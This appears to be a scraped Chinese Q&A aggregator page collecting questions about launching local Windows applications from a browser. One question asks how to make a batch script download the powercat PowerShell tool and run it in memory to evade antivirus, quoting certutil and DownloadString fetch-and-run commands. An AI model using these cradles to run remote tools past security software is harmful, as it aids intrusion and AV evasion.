是否可以从浏览器启动应用程序?我不是在谈论从浏览器打开文件(比如用Adobe Reader打开PDF),而是打开安装在用户机器上的应用程序的新(空白)实例.
假设情况:用户浏览列出可通过RDP管理的计算机的网站.他点击了一个192.168.1.10的链接,该链接打开了已经填写了该IP地址的Microsoft RDP客户端(mstsc.exe).
我正在严格谈论Windows宇宙.
这个东西在ActiveX和IE之外是否可行?
在使用ActiveX的IE中尝试这个是明智的吗?
在我的批处理脚本中,我试图远程下载和执行一个 powershell 脚本。这是网址:
https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
Run Code Online (Sandbox Code Playgroud)
我想将文件下载到内存中(不接触磁盘),原因如下:
powershell -nop -ep bypass导致 AV 检测的显然我可以使用certutil:
certutil -urlcache -split -f <url>
Run Code Online (Sandbox Code Playgroud)
但我不希望该文件命中磁盘,这会导致 AV 检测。
使用其他语言(例如 PowerShell)可以轻松完成相同的事情:
(New-Object Net.WebClient).DownloadString($url)
Run Code Online (Sandbox Code Playgroud)
或者
(New-Object IO.StreamReader([Net.HttpWebRequest]::Create($url).GetResponse().GetResponseStream())).ReadToEnd()
Run Code Online (Sandbox Code Playgroud)
我知道批处理不是执行此操作的最佳语言,但有可能吗?(我想要纯批次)
我需要从客户端运行exe文件.Exe文件存在于我的C:\ Directory中.我需要从我的WEB站点运行这个exe文件.
我该怎么办呢?
我需要从浏览器启动程序(当你看到确认启动应用程序的对话框时,就像战场一样)。我应该做一个扩展还是有原生的方式用javascript来做?
browser ×2
activex ×1
batch-file ×1
client ×1
cmd ×1
exe ×1
javascript ×1
powershell ×1
windows ×1